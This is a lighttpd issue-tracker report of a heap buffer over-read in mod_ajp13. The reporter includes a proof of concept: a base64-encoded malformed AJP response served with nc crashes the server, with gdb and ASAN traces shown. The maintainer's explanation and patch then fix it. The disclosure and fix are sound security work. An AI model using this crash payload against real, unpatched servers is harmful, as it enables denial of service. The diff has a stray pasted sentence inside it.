Bug #3170
closedmod_ajp13 read heap buffer overflow
Description
Read heap buffer overflow happens when the server receives malformed response from AJP backend.
The vulnerability was detected on Ubuntu 22.04 x86_64:
- lighttpd 1.4.66 built from source
PoC:
1. Build
$ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.66.tar.gz $ tar zxf lighttpd-1.4.66.tar.gz $ cd lighttpd-1.4.65/ $ scons -j 4 build_static=1 build_dynamic=0
2. Prepare configuration
server.document-root = "/home/mmm/v/lighttpd/webroot" server.port = 8001 server.modules += ("mod_ajp13") ajp13.server = ( "" => ( ( "host" => "127.0.0.1", "port" => 5577 ) ) )
3. Start the server
./lighttpd -D -f ~/ajp.conf
4. Run AJP backend serving malformed response
echo "QUIAAASA/wAA" | base64 -d | nc -l 5577
5. Send HTTP request causing AJP connection
curl localhost:8001
Crash under gdb:
2022-08-14 14:56:07: (src/server.c.1588) server started (lighttpd/1.4.66) Program received signal SIGSEGV, Segmentation fault. ajp13_expand_headers (hctx=0x5555555f14e0, plen=4294869346, b=0x5555555e66d0) at src/mod_ajp13.c:740 740 len = ajp13_dec_uint16(ptr); (gdb) print ptr $1 = (uint8_t *) 0x555555607000 <error: Cannot access memory at address 0x555555607000> (gdb) bt #0 ajp13_expand_headers (hctx=0x5555555f14e0, plen=4294869346, b=0x5555555e66d0) at src/mod_ajp13.c:740 #1 ajp13_recv_parse_loop (hctx=0x5555555f14e0, r=<optimized out>) at src/mod_ajp13.c:821 #2 ajp13_recv_parse (r=<optimized out>, opts=<optimized out>, b=<optimized out>, n=<optimized out>) at src/mod_ajp13.c:955 #3 0x00005555555985a0 in http_response_read (r=r@entry=0x5555555eed00, opts=opts@entry=0x5555555f1580, b=b@entry=0x5555555e8b70, fdn=0x5555555f17d0) at src/http-header-glue.c:1355 #4 0x000055555559046a in gw_recv_response (hctx=0x5555555f14e0, r=0x5555555eed00) at src/gw_backend.c:2337 #5 0x000055555559102b in gw_process_fdevent (revents=1, r=0x5555555eed00, hctx=0x5555555f14e0) at src/gw_backend.c:2435 #6 gw_handle_subrequest (r=0x5555555eed00, p_d=<optimized out>) at src/gw_backend.c:2167 #7 0x000055555557eefe in http_response_handler (r=0x5555555eed00) at src/response.c:982 #8 0x0000555555580dbb in connection_state_machine_loop (r=0x5555555eed00, con=0x5555555eed00) at src/connections.c:1007 #9 0x00005555555806a9 in connection_state_machine_h1 (con=0x5555555eed00) at src/connections.c:1358 #10 connection_state_machine (con=0x5555555eed00) at src/connections.c:1358 #11 0x000055555557d62a in server_run_con_queue (sentinel=<optimized out>, joblist=<optimized out>) at src/server.c:1958 #12 server_main_loop (srv=0x5555555e6520) at src/server.c:2011 #13 0x000055555555fe19 in main (argc=4, argv=0x7fffffffe018) at src/server.c:2085
Crash under ASAN:
2022-08-14 14:56:48: (src/server.c.1588) server started (lighttpd/1.4.66) ================================================================= ==1859941==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000004901 at pc 0x000000434647 bp 0x7fffffffda60 sp 0x7fffffffd220 READ of size 16706 at 0x625000004901 thread T0 #0 0x434646 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x434646) #1 0x4ef9f0 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ef9f0) #2 0x527708 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x527708) #3 0x526fc2 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x526fc2) #4 0x5266c5 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x5266c5) #5 0x518bb5 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x518bb5) #6 0x503e17 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x503e17) #7 0x503b3e (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x503b3e) #8 0x50359d (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x50359d) #9 0x4cad18 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4cad18) #10 0x4cf502 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4cf502) #11 0x4ce650 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ce650) #12 0x4ce054 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ce054) #13 0x4c9dbc (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c9dbc) #14 0x4c808f (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c808f) #15 0x4c57a7 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c57a7) #16 0x7ffff7b78082 (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #17 0x41d8ed (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x41d8ed) 0x625000004901 is located 0 bytes to the right of 8193-byte region [0x625000002900,0x625000004901) allocated by thread T0 here: #0 0x496326 (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x496326) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x434646) Shadow bytes around the buggy address: 0x0c4a7fff88d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff88e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff88f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8920:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==1859941==ABORTING Aborted
Updated by gstrauss about 2 years ago
- Status changed from New to Patch Pending
- Target version changed from 1.4.xx to 1.4.67
Thank you for the bug report and for the details to reproduce.
A malicious backend can trigger a 1-byte unsigned integer underflow (and wrap-around) at
https://git.lighttpd.net/lighttpd/lighttpd1.4/src/branch/master/src/mod_ajp13.c#L676
The underflow results in memory reads until an out-of-bounds memory read causes a crash.
--- a/src/mod_ajp13.c +++ b/src/mod_ajp13.c @@ -812,6 +812,12 @@ ajp13_recv_parse_loop (request_st * const r, handler_ctx * const hctx) switch(ptr[4]) { case AJP13_SEND_HEADERS: if (0 == r->resp_body_started) { + if (plen < 3) { + log_error(errh, __FILE__, __LINE__, + "AJP13: headers packet received with invalid length"); + return HANDLER_FINISHED; + } + buffer *hdrs = hctx->response; if (NULL == hdrs) {How would you like to be credited in the git patch commit message? hdrs = r->tmp_buf;
How would you like to be credited in the git patch commit message?
[Edit: crediting as MichaĆ Dardas] Thanks!
Updated by gstrauss about 2 years ago
- Status changed from Patch Pending to Fixed
Applied in changeset 0b49e767b906d6861f63d3764001bd73a65265dc.
Also available in: Atom